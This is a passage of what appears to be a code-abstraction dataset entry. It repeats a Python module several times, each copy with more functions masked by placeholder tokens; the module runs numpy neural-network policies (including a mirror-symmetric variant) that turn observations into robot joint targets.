nvec=None):\n self.obrms_mean = None\n self.obrms_std = None\n self.nn_params = []\n self.nvec = nvec\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope + '/obfilter/count:0']\n obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -\n self.obrms_mean ** 2, 0.01, 1000000))\n for i in range(10):\n if pol_scope + '/pol/fc' + str(i) + '/kernel:0' in params:\n W = params[pol_scope + '/pol/fc' + str(i) + '/kernel:0']\n b = params[pol_scope + '/pol/fc' + str(i) + '/bias:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol/final/kernel:0']\n b_final = params[pol_scope + '/pol/final/bias:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation=np.tanh):\n assert self.obrms_mean is not None\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,\n 5.0)\n for i in range(len(self.nn_params) - 1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +\n self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n if self.nvec is None:\n return out\n else:\n splitted_out = np.split(out, np.cumsum(self.nvec)[0:-1])\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n\nclass NP_Net_MirrorSym:\n\n def __init__(self, nvec=None, observation_permutation=None,\n action_permutation=None):\n self.obrms_mean = None\n self.obrms_std = None\n self.nn_params = []\n self.nvec = nvec\n obs_perm_mat = np.zeros((len(observation_permutation), len(\n observation_permutation)), dtype=np.float32)\n self.obs_perm_mat = obs_perm_mat\n for i, perm in enumerate(observation_permutation):\n obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n if nvec is None:\n act_perm_mat = np.zeros((len(action_permutation), len(\n action_permutation)), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n else:\n total_dim = int(np.sum(nvec))\n dim_index = np.concatenate([[0], np.cumsum(nvec)])\n act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n perm_mat = np.identity(nvec[i])\n if np.sign(perm) < 0:\n perm_mat = np.flipud(perm_mat)\n self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i],\n dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm)\n )] + nvec[int(np.abs(perm))]] = perm_mat\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope + '/obfilter/count:0']\n obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -\n self.obrms_mean ** 2, 0.01, 1000000))\n for i in range(10):\n if pol_scope + '/pol_net/genff' + str(i) + '/w:0' in params:\n W = params[pol_scope + '/pol_net/genff' + str(i) + '/w:0']\n b = params[pol_scope + '/pol_net/genff' + str(i) + '/b:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol_net/genff_out/w:0']\n b_final = params[pol_scope + '/pol_net/genff_out/b:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation=np.tanh):\n assert self.obrms_mean is not None\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,\n 5.0)\n for i in range(len(self.nn_params) - 1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +\n self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self.\n obrms_mean) / self.obrms_std, -5.0, 5.0)\n for i in range(len(self.nn_params) - 1):\n mirrorlast_out = activation(np.dot(self.nn_params[i][0].T,\n mirrorlast_out) + self.nn_params[i][1])\n mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) +\n self.nn_params[-1][1], self.act_perm_mat)\n if self.nvec is None:\n return out + mirrorout\n else:\n splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1]\n )\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5 * (pose_squat + pose_stand)\n\n def reset(self):\n self.action_cache = []\n\n def act(self, o, t):\n new_action = self.net.get_output(o)\n if self.discrete_action:\n new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0\n self.action_cache.append(new_action)\n if len(self.action_cache) > self.action_filter_size:\n self.action_cache.pop(0)\n filtered_action = np.mean(self.action_cache, axis=0)\n clamped_control = np.clip(filtered_action, -1, 1)\n if self.interp_sch is not None:\n self.ref_target = self.interp_sch[0][1]\n for i in range(len(self.interp_sch) - 1):\n if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0\n ]:\n ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[\n i + 1][0] - self.interp_sch[i][0])\n self.ref_target = ratio * self.interp_sch[i + 1][1] + (\n 1 - ratio) * self.interp_sch[i][1]\n if t > self.interp_sch[-1][0]:\n self.ref_target = self.interp_sch[-1][1]\n target_pose = (self.ref_target + clamped_control * self.\n delta_angle_scale)\n else:\n target_pose = (clamped_control + 1.0) / 2.0 * (\n SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD\n ) + SIM_CONTROL_LOW_BOUND_RAD\n target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD,\n SIM_JOINT_UP_BOUND_RAD)\n return target_pose\n\n\ndef toRobot(positions):\n index = [3, 0, 4, 1, 5, 2, 14, 8, 15, 9, 16, 10, 17, 11, 18, 12, 19, 13,\n 6, 7]\n robotState = np.zeros(len(positions))\n for i in range(len(positions)):\n robotState[i] = int(positions[i] * 180 * (1 / (np.pi * 0.088))) + 2048\n return robotState[index].astype(int)\n\n\n<code token>\n", "<import token>\n\n\nclass NP_Net:\n\n def __init__(self, nvec=None):\n self.obrms_mean = None\n self.obrms_std = None\n self.nn_params = []\n self.nvec = nvec\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope + '/obfilter/count:0']\n obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -\n self.obrms_mean ** 2, 0.01, 1000000))\n for i in range(10):\n if pol_scope + '/pol/fc' + str(i) + '/kernel:0' in params:\n W = params[pol_scope + '/pol/fc' + str(i) + '/kernel:0']\n b = params[pol_scope + '/pol/fc' + str(i) + '/bias:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol/final/kernel:0']\n b_final = params[pol_scope + '/pol/final/bias:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation=np.tanh):\n assert self.obrms_mean is not None\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,\n 5.0)\n for i in range(len(self.nn_params) - 1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +\n self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n if self.nvec is None:\n return out\n else:\n splitted_out = np.split(out, np.cumsum(self.nvec)[0:-1])\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n\nclass NP_Net_MirrorSym:\n\n def __init__(self, nvec=None, observation_permutation=None,\n action_permutation=None):\n self.obrms_mean = None\n self.obrms_std = None\n self.nn_params = []\n self.nvec = nvec\n obs_perm_mat = np.zeros((len(observation_permutation), len(\n observation_permutation)), dtype=np.float32)\n self.obs_perm_mat = obs_perm_mat\n for i, perm in enumerate(observation_permutation):\n obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n if nvec is None:\n act_perm_mat = np.zeros((len(action_permutation), len(\n action_permutation)), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n else:\n total_dim = int(np.sum(nvec))\n dim_index = np.concatenate([[0], np.cumsum(nvec)])\n act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n perm_mat = np.identity(nvec[i])\n if np.sign(perm) < 0:\n perm_mat = np.flipud(perm_mat)\n self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i],\n dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm)\n )] + nvec[int(np.abs(perm))]] = perm_mat\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope + '/obfilter/count:0']\n obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -\n self.obrms_mean ** 2, 0.01, 1000000))\n for i in range(10):\n if pol_scope + '/pol_net/genff' + str(i) + '/w:0' in params:\n W = params[pol_scope + '/pol_net/genff' + str(i) + '/w:0']\n b = params[pol_scope + '/pol_net/genff' + str(i) + '/b:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol_net/genff_out/w:0']\n b_final = params[pol_scope + '/pol_net/genff_out/b:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation=np.tanh):\n assert self.obrms_mean is not None\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,\n 5.0)\n for i in range(len(self.nn_params) - 1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +\n self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self.\n obrms_mean) / self.obrms_std, -5.0, 5.0)\n for i in range(len(self.nn_params) - 1):\n mirrorlast_out = activation(np.dot(self.nn_params[i][0].T,\n mirrorlast_out) + self.nn_params[i][1])\n mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) +\n self.nn_params[-1][1], self.act_perm_mat)\n if self.nvec is None:\n return out + mirrorout\n else:\n splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1]\n )\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5 * (pose_squat + pose_stand)\n\n def reset(self):\n self.action_cache = []\n\n def act(self, o, t):\n new_action = self.net.get_output(o)\n if self.discrete_action:\n new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0\n self.action_cache.append(new_action)\n if len(self.action_cache) > self.action_filter_size:\n self.action_cache.pop(0)\n filtered_action = np.mean(self.action_cache, axis=0)\n clamped_control = np.clip(filtered_action, -1, 1)\n if self.interp_sch is not None:\n self.ref_target = self.interp_sch[0][1]\n for i in range(len(self.interp_sch) - 1):\n if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0\n ]:\n ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[\n i + 1][0] - self.interp_sch[i][0])\n self.ref_target = ratio * self.interp_sch[i + 1][1] + (\n 1 - ratio) * self.interp_sch[i][1]\n if t > self.interp_sch[-1][0]:\n self.ref_target = self.interp_sch[-1][1]\n target_pose = (self.ref_target + clamped_control * self.\n delta_angle_scale)\n else:\n target_pose = (clamped_control + 1.0) / 2.0 * (\n SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD\n ) + SIM_CONTROL_LOW_BOUND_RAD\n target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD,\n SIM_JOINT_UP_BOUND_RAD)\n return target_pose\n\n\n<function token>\n<code token>\n", "<import token>\n\n\nclass NP_Net:\n\n def __init__(self, nvec=None):\n self.obrms_mean = None\n self.obrms_std = None\n self.nn_params = []\n self.nvec = nvec\n <function token>\n\n def get_output(self, input, activation=np.tanh):\n assert self.obrms_mean is not None\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,\n 5.0)\n for i in range(len(self.nn_params) - 1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +\n self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n if self.nvec is None:\n return out\n else:\n splitted_out = np.split(out, np.cumsum(self.nvec)[0:-1])\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n\nclass NP_Net_MirrorSym:\n\n def __init__(self, nvec=None, observation_permutation=None,\n action_permutation=None):\n self.obrms_mean = None\n self.obrms_std = None\n self.nn_params = []\n self.nvec = nvec\n obs_perm_mat = np.zeros((len(observation_permutation), len(\n observation_permutation)), dtype=np.float32)\n self.obs_perm_mat = obs_perm_mat\n for i, perm in enumerate(observation_permutation):\n obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n if nvec is None:\n act_perm_mat = np.zeros((len(action_permutation), len(\n action_permutation)), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n else:\n total_dim = int(np.sum(nvec))\n dim_index = np.concatenate([[0], np.cumsum(nvec)])\n act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n perm_mat = np.identity(nvec[i])\n if np.sign(perm) < 0:\n perm_mat = np.flipud(perm_mat)\n self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i],\n dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm)\n )] + nvec[int(np.abs(perm))]] = perm_mat\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope + '/obfilter/count:0']\n obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -\n self.obrms_mean ** 2, 0.01, 1000000))\n for i in range(10):\n if pol_scope + '/pol_net/genff' + str(i) + '/w:0' in params:\n W = params[pol_scope + '/pol_net/genff' + str(i) + '/w:0']\n b = params[pol_scope + '/pol_net/genff' + str(i) + '/b:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol_net/genff_out/w:0']\n b_final = params[pol_scope + '/pol_net/genff_out/b:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation=np.tanh):\n assert self.obrms_mean is not None\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,\n 5.0)\n for i in range(len(self.nn_params) - 1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +\n self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self.\n obrms_mean) / self.obrms_std, -5.0, 5.0)\n for i in range(len(self.nn_params) - 1):\n mirrorlast_out = activation(np.dot(self.nn_params[i][0].T,\n mirrorlast_out) + self.nn_params[i][1])\n mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) +\n self.nn_params[-1][1], self.act_perm_mat)\n if self.nvec is None:\n return out + mirrorout\n else:\n splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1]\n )\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5 * (pose_squat + pose_stand)\n\n def reset(self):\n self.action_cache = []\n\n def act(self, o, t):\n new_action = self.net.get_output(o)\n if self.discrete_action:\n new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0\n self.action_cache.append(new_action)\n if len(self.action_cache) > self.action_filter_size:\n self.action_cache.pop(0)\n filtered_action = np.mean(self.action_cache, axis=0)\n clamped_control = np.clip(filtered_action, -1, 1)\n if self.interp_sch is not None:\n self.ref_target = self.interp_sch[0][1]\n for i in range(len(self.interp_sch) - 1):\n if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0\n ]:\n ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[\n i + 1][0] - self.interp_sch[i][0])\n self.ref_target = ratio * self.interp_sch[i + 1][1] + (\n 1 - ratio) * self.interp_sch[i][1]\n if t > self.interp_sch[-1][0]:\n self.ref_target = self.interp_sch[-1][1]\n target_pose = (self.ref_target + clamped_control * self.\n delta_angle_scale)\n else:\n target_pose = (clamped_control + 1.0) / 2.0 * (\n SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD\n ) + SIM_CONTROL_LOW_BOUND_RAD\n target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD,\n SIM_JOINT_UP_BOUND_RAD)\n return target_pose\n\n\n<function token>\n<code token>\n", "<import token>\n\n\nclass NP_Net:\n\n def __init__(self, nvec=None):\n self.obrms_mean = None\n self.obrms_std = None\n self.nn_params = []\n self.nvec = nvec\n <function token>\n <function token>\n\n\nclass NP_Net_MirrorSym:\n\n def __init__(self, nvec=None, observation_permutation=None,\n action_permutation=None):\n self.obrms_mean = None\n self.obrms_std = None\n self.nn_params = []\n self.nvec = nvec\n obs_perm_mat = np.zeros((len(observation_permutation), len(\n observation_permutation)), dtype=np.float32)\n self.obs_perm_mat = obs_perm_mat\n for i, perm in enumerate(observation_permutation):\n obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n if nvec is None:\n act_perm_mat = np.zeros((len(action_permutation), len(\n action_permutation)), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n else:\n total_dim = int(np.sum(nvec))\n dim_index = np.concatenate([[0], np.cumsum(nvec)])\n act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n perm_mat = np.identity(nvec[i])\n if np.sign(perm) < 0:\n perm_mat = np.flipud(perm_mat)\n self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i],\n dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm)\n )] + nvec[int(np.abs(perm))]] = perm_mat\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope + '/obfilter/count:0']\n obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -\n self.obrms_mean ** 2, 0.01, 1000000))\n for i in range(10):\n if pol_scope + '/pol_net/genff' + str(i) + '/w:0' in params:\n W = params[pol_scope + '/pol_net/genff' + str(i) + '/w:0']\n b = params[pol_scope + '/pol_net/genff' + str(i) + '/b:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol_net/genff_out/w:0']\n b_final = params[pol_scope + '/pol_net/genff_out/b:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation=np.tanh):\n assert self.obrms_mean is not None\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,\n 5.0)\n for i in range(len(self.nn_params) - 1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +\n self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self.\n obrms_mean) / self.obrms_std, -5.0, 5.0)\n for i in range(len(self.nn_params) - 1):\n mirrorlast_out = activation(np.dot(self.nn_params[i][0].T,\n mirrorlast_out) + self.nn_params[i][1])\n mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) +\n self.nn_params[-1][1], self.act_perm_mat)\n if self.nvec is None:\n return out + mirrorout\n else:\n splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1]\n )\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5 * (pose_squat + pose_stand)\n\n def reset(self):\n self.action_cache = []\n\n def act(self, o, t):\n new_action = self.net.get_output(o)\n if self.discrete_action:\n new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0\n self.action_cache.append(new_action)\n if len(self.action_cache) > self.action_filter_size:\n self.action_cache.pop(0)\n filtered_action = np.mean(self.action_cache, axis=0)\n clamped_control = np.clip(filtered_action, -1, 1)\n if self.interp_sch is not None:\n self.ref_target = self.interp_sch[0][1]\n for i in range(len(self.interp_sch) - 1):\n if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0\n ]:\n ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[\n i + 1][0] - self.interp_sch[i][0])\n self.ref_target = ratio * self.interp_sch[i + 1][1] + (\n 1 - ratio) * self.interp_sch[i][1]\n if t > self.interp_sch[-1][0]:\n self.ref_target = self.interp_sch[-1][1]\n target_pose = (self.ref_target + clamped_control * self.\n delta_angle_scale)\n else:\n target_pose = (clamped_control + 1.0) / 2.0 * (\n SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD\n ) + SIM_CONTROL_LOW_BOUND_RAD\n target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD,\n SIM_JOINT_UP_BOUND_RAD)\n return target_pose\n\n\n<function token>\n<code token>\n", "<import token>\n\n\nclass NP_Net:\n <function token>\n <function token>\n <function token>\n\n\nclass NP_Net_MirrorSym:\n\n def __init__(self, nvec=None, observation_permutation=None,\n action_permutation=None):\n self.obrms_mean = None\n self.obrms_std = None\n self.nn_params = []\n self.nvec = nvec\n obs_perm_mat = np.zeros((len(observation_permutation), len(\n observation_permutation)), dtype=np.float32)\n self.obs_perm_mat = obs_perm_mat\n for i, perm in enumerate(observation_permutation):\n obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n if nvec is None:\n act_perm_mat = np.zeros((len(action_permutation), len(\n action_permutation)), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n else:\n total_dim = int(np.sum(nvec))\n dim_index = np.concatenate([[0], np.cumsum(nvec)])\n act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n perm_mat = np.identity(nvec[i])\n if np.sign(perm) < 0:\n perm_mat = np.flipud(perm_mat)\n self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i],\n dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm)\n )] + nvec[int(np.abs(perm))]] = perm_mat\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope + '/obfilter/count:0']\n obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -\n self.obrms_mean ** 2, 0.01, 1000000))\n for i in range(10):\n if pol_scope + '/pol_net/genff' + str(i) + '/w:0' in params:\n W = params[pol_scope + '/pol_net/genff' + str(i) + '/w:0']\n b = params[pol_scope + '/pol_net/genff' + str(i) + '/b:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol_net/genff_out/w:0']\n b_final = params[pol_scope + '/pol_net/genff_out/b:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation=np.tanh):\n assert self.obrms_mean is not None\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,\n 5.0)\n for i in range(len(self.nn_params) - 1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +\n self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self.\n obrms_mean) / self.obrms_std, -5.0, 5.0)\n for i in range(len(self.nn_params) - 1):\n mirrorlast_out = activation(np.dot(self.nn_params[i][0].T,\n mirrorlast_out) + self.nn_params[i][1])\n mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) +\n self.nn_params[-1][1], self.act_perm_mat)\n if self.nvec is None:\n return out + mirrorout\n else:\n splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1]\n )\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5 * (pose_squat + pose_stand)\n\n def reset(self):\n self.action_cache = []\n\n def act(self, o, t):\n new_action = self.net.get_output(o)\n if self.discrete_action:\n new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0\n self.action_cache.append(new_action)\n if len(self.action_cache) > self.action_filter_size:\n self.action_cache.pop(0)\n filtered_action = np.mean(self.action_cache, axis=0)\n clamped_control = np.clip(filtered_action, -1, 1)\n if self.interp_sch is not None:\n self.ref_target = self.interp_sch[0][1]\n for i in range(len(self.interp_sch) - 1):\n if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0\n ]:\n ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[\n i + 1][0] - self.interp_sch[i][0])\n self.ref_target = ratio * self.interp_sch[i + 1][1] + (\n 1 - ratio) * self.interp_sch[i][1]\n if t > self.interp_sch[-1][0]:\n self.ref_target = self.interp_sch[-1][1]\n target_pose = (self.ref_target + clamped_control * self.\n delta_angle_scale)\n else:\n target_pose = (clamped_control + 1.0) / 2.0 * (\n 